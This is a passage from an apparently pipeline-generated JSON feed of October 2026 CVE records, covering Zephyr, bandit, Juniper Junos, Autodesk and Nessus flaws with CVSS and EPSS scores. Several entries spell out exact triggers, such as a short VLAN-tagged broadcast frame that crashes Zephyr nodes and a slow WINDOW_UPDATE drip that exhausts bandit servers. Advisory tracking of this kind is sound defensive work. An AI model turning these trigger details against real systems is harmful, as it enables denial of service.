Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33795","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00374,"percentile":0.31044,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-33795&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33795","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33795","type":"primary","publishedAt":"2026-10-14T17:18:28.123Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33795&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-33795, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-19673","cveId":"CVE-2026-19673","aliases":[],"kind":"vulnerability","title":"ethernet_recv() in subsys/net/l2/ethernet/ethernet.c validates only that the first net_buf of a received frame holds a plain 14-byte struct net_eth_hdr.","summary":"ethernet_recv() in subsys/net/l2/ethernet/ethernet.c validates only that the first net_buf of a received frame holds a plain 14-byte struct net_eth_hdr. When the ethertype is 0x8100 and VLAN is enabled on the interface, the same buffer is reinterpreted as the 18-byte struct net_eth_vlan_hdr without re-checking the length: the VLAN TCI and the inner ethertype are read from offsets 14..17, past pkt->buffer->len, and hdr_len is raised to 18 so the subsequent net_buf_pull() removes more bytes than the buffer holds.\n\nA single unauthenticated frame of 14 to 17 bytes carrying the VLAN ethertype triggers this. No knowledge of the node's VLAN configuration is needed: net_eth_get_vlan_iface() returns the base interface for the priority tag 0, and a broadcast destination address satisfies the \"frame is for me\" test, so a 16-byte broadcast frame with ethertype 0x8100 and TCI 0x0000 reaches the pull. Nothing in the receive path enforces the 60-byte Ethernet minimum — the USB CDC ECM and CDC NCM gadget classes in particular hand host-supplied frames of any non-zero length straight to net_recv_data().\n\nWith assertions enabled, net_buf_simple_pull() asserts and the node panics. In a production build (assertions and CONFIG_NET_BUF_HARDENING off) the uint16_t buffer length underflows to 65534 and buf->data is advanced past the end of the fragment's storage, so every later parser reads far outside the buffer and any net_buf_add() on that fragment computes tailroom from the underflowed length. The result is a reliable remote denial of service and out-of-bounds access with information-disclosure and corruption potential.\n\nOnly configurations built with CONFIG_NET_VLAN=y that have a VLAN enabled on the receiving Ethernet interface, and whose MAC does not strip VLAN tags in hardware (ETHERNET_HW_VLAN_TAG_STRIP), are affected. The fix rejects the frame before the tag is read, so hdr_len is thereafter either 14 or 18 with both sizes validated against pkt->buffer->len.","detail":"ethernet_recv() in subsys/net/l2/ethernet/ethernet.c validates only that the first net_buf of a received frame holds a plain 14-byte struct net_eth_hdr. When the ethertype is 0x8100 and VLAN is enabled on the interface, the same buffer is reinterpreted as the 18-byte struct net_eth_vlan_hdr without re-checking the length: the VLAN TCI and the inner ethertype are read from offsets 14..17, past pkt->buffer->len, and hdr_len is raised to 18 so the subsequent net_buf_pull() removes more bytes than the buffer holds.\n\nA single unauthenticated frame of 14 to 17 bytes carrying the VLAN ethertype triggers this. No knowledge of the node's VLAN configuration is needed: net_eth_get_vlan_iface() returns the base interface for the priority tag 0, and a broadcast destination address satisfies the \"frame is for me\" test, so a 16-byte broadcast frame with ethertype 0x8100 and TCI 0x0000 reaches the pull. Nothing in the receive path enforces the 60-byte Ethernet minimum — the USB CDC ECM and CDC NCM gadget classes in particular hand host-supplied frames of any non-zero length straight to net_recv_data().\n\nWith assertions enabled, net_buf_simple_pull() asserts and the node panics. In a production build (assertions and CONFIG_NET_BUF_HARDENING off) the uint16_t buffer length underflows to 65534 and buf->data is advanced past the end of the fragment's storage, so every later parser reads far outside the buffer and any net_buf_add() on that fragment computes tailroom from the underflowed length. The result is a reliable remote denial of service and out-of-bounds access with information-disclosure and corruption potential.\n\nOnly configurations built with CONFIG_NET_VLAN=y that have a VLAN enabled on the receiving Ethernet interface, and whose MAC does not strip VLAN tags in hardware (ETHERNET_HW_VLAN_TAG_STRIP), are affected. The fix rejects the frame before the tag is read, so hdr_len is thereafter either 14 or 18 with both sizes validated against pkt->buffer->len.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:26.800Z","updatedAt":"2026-10-16T16:17:05.187Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-19673","asOf":"2026-10-16T16:17:05.187Z"},"epss":{"probability":0.00339,"percentile":0.27073,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-19673&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-19673","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19673","type":"primary","publishedAt":"2026-10-14T17:18:26.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-19673&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-19673, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-15102","cveId":"CVE-2026-15102","aliases":[],"kind":"vulnerability","title":"ADP Desktop SDK contains a vulnerability where sensitive information is transmitted in clear text.","summary":"ADP Desktop SDK contains a vulnerability where sensitive information is transmitted in clear text. Exploitation of this vulnerability can lead to unauthorized access to Autodesk services.","detail":"ADP Desktop SDK contains a vulnerability where sensitive information is transmitted in clear text. Exploitation of this vulnerability can lead to unauthorized access to Autodesk services.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:26.670Z","updatedAt":"2026-10-16T16:17:05.050Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-15102","asOf":"2026-10-16T16:17:05.050Z"},"epss":{"probability":0.001,"percentile":0.00822,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-15102&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-15102","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15102","type":"primary","publishedAt":"2026-10-14T17:18:26.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-15102&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-15102, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105659","cveId":"CVE-2026-105659","aliases":[],"kind":"vulnerability","title":"Uncontrolled Resource Consumption vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin HTTP/2 stream processes indefinitely via a trickle of small...","summary":"Uncontrolled Resource Consumption vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin HTTP/2 stream processes indefinitely via a trickle of small WINDOW_UPDATE frames. A stream whose response outruns the connection or stream send window blocks until the peer grants more window, and each block carries a 15 second deadline. Both deadlines restart whenever the peer makes partial progress. Bandit.HTTP2.Connection.finish_data/5 re-queues a partially advanced send in pending_sends with a fresh expires_at, so every WINDOW_UPDATE on stream 0, and every SETTINGS frame, resets the clock. Bandit.HTTP2.Stream.send_data/3 recurses on each stream WINDOW_UPDATE and re-arms a fresh after read_timeout. A peer that grants a few bytes every few seconds keeps the blocked stream process, its Plug state and any resource it holds mid-response alive for as long as it keeps dripping, and repeats this across streams and connections to exhaust server processes and memory.\n\nThe two paths are independent. The stream-level block is reached on its own by widening the connection window with a large WINDOW_UPDATE on stream 0 and shrinking the per-stream window with a small SETTINGS_INITIAL_WINDOW_SIZE, so closing only the connection-level path leaves it exploitable.\n\nThis issue affects bandit: from 1.4.0 before 1.13.0.","detail":"Uncontrolled Resource Consumption vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin HTTP/2 stream processes indefinitely via a trickle of small WINDOW_UPDATE frames. A stream whose response outruns the connection or stream send window blocks until the peer grants more window, and each block carries a 15 second deadline. Both deadlines restart whenever the peer makes partial progress. Bandit.HTTP2.Connection.finish_data/5 re-queues a partially advanced send in pending_sends with a fresh expires_at, so every WINDOW_UPDATE on stream 0, and every SETTINGS frame, resets the clock. Bandit.HTTP2.Stream.send_data/3 recurses on each stream WINDOW_UPDATE and re-arms a fresh after read_timeout. A peer that grants a few bytes every few seconds keeps the blocked stream process, its Plug state and any resource it holds mid-response alive for as long as it keeps dripping, and repeats this across streams and connections to exhaust server processes and memory.\n\nThe two paths are independent. The stream-level block is reached on its own by widening the connection window with a large WINDOW_UPDATE on stream 0 and shrinking the per-stream window with a small SETTINGS_INITIAL_WINDOW_SIZE, so closing only the connection-level path leaves it exploitable.\n\nThis issue affects bandit: from 1.4.0 before 1.13.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:15.657Z","updatedAt":"2026-10-16T21:17:16.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105659","asOf":"2026-10-16T21:17:16.480Z"},"epss":{"probability":0.00616,"percentile":0.49233,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105659&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105659","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105659","type":"primary","publishedAt":"2026-10-14T17:18:15.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105659&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105659, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103994","cveId":"CVE-2026-103994","aliases":[],"kind":"vulnerability","title":"A Heap-based Buffer Overflow vulnerability in the VXLAN Gateway Daemon (vgd) of Juniper Networks Junos OS allows a malicious or compromised SDN-controller to cause a complete...","summary":"A Heap-based Buffer Overflow vulnerability in the VXLAN Gateway Daemon (vgd) of Juniper Networks Junos OS allows a malicious or compromised SDN-controller to cause a complete outage of the OVSDB control plane and possibly remote code execution.","detail":"A Heap-based Buffer Overflow vulnerability in the VXLAN Gateway Daemon (vgd) of Juniper Networks Junos OS allows a malicious or compromised SDN-controller to cause a complete outage of the OVSDB control plane and possibly remote code execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:13.613Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103994","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00429,"percentile":0.36861,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103994&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103994","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103994","type":"primary","publishedAt":"2026-10-14T17:18:13.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103994&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103994, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103946","cveId":"CVE-2026-103946","aliases":[],"kind":"vulnerability","title":"An SQL injection vulnerability could allow an authenticated user to read or modify data stored by Nessus.","summary":"An SQL injection vulnerability could allow an authenticated user to read or modify data stored by Nessus.","detail":"An SQL injection vulnerability could allow an authenticated user to read or modify data stored by Nessus.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:13.303Z","updatedAt":"2026-10-17T04:16:47.637Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103946","asOf":"2026-10-17T04:16:47.637Z"},"epss":{"probability":0.00443,"percentile":0.38203,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103946&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103946","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103946","type":"primary","publishedAt":"2026-10-14T17:18:13.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103946&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103946, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102185","cveId":"CVE-2026-102185","aliases":[],"kind":"vulnerability","title":"A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote...","summary":"A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote network attacker to cause a denial of service via EVPN multihoming with preference-based designated-forwarder election.","detail":"A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote network attacker to cause a denial of service via EVPN multihoming with preference-based designated-forwarder election.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:06.547Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102185","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00374,"percentile":0.31045,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102185&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102185","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102185","type":"primary","publishedAt":"2026-10-14T17:18:06.547Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102185&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102185, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102184","cveId":"CVE-2026-102184","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos Evolved platforms allows a...","summary":"An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos Evolved platforms allows a configured EVPN signaling peer to cause an rpd crash via a malformed SRv6 structure carried in an EVPN route update. The result is a denial of service affecting routing adjacencies.","detail":"An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos Evolved platforms allows a configured EVPN signaling peer to cause an rpd crash via a malformed SRv6 structure carried in an EVPN route update. The result is a denial of service affecting routing adjacencies.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:06.390Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102184","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.0046,"percentile":0.39617,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102184&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102184","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102184","type":"primary","publishedAt":"2026-10-14T17:18:06.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102184&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102184, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102183","cveId":"CVE-2026-102183","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP...","summary":"An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP EVPN peer to cause an rpd crash via a specifically malformed NLRI.","detail":"An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP EVPN peer to cause an rpd crash via a specifically malformed NLRI.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:06.220Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102183","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00461,"percentile":0.39662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102183&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102183","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102183","type":"primary","publishedAt":"2026-10-14T17:18:06.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102183&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102183, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102180","cveId":"CVE-2026-102180","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured...","summary":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP peering session to cause a denial of service by sending a crafted BGP route attribute, which is processed while a BGP RIB streaming telemetry subscription is active.\n\nThis issue does not affect Junos OS versions prior to 22.1R1.\nThis issue does not affect Junos OS Evolved versions prior to 22.1R1-EVO.","detail":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP peering session to cause a denial of service by sending a crafted BGP route attribute, which is processed while a BGP RIB streaming telemetry subscription is active.\n\nThis issue does not affect Junos OS versions prior to 22.1R1.\nThis issue does not affect Junos OS Evolved versions prior to 22.1R1-EVO.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:05.923Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper 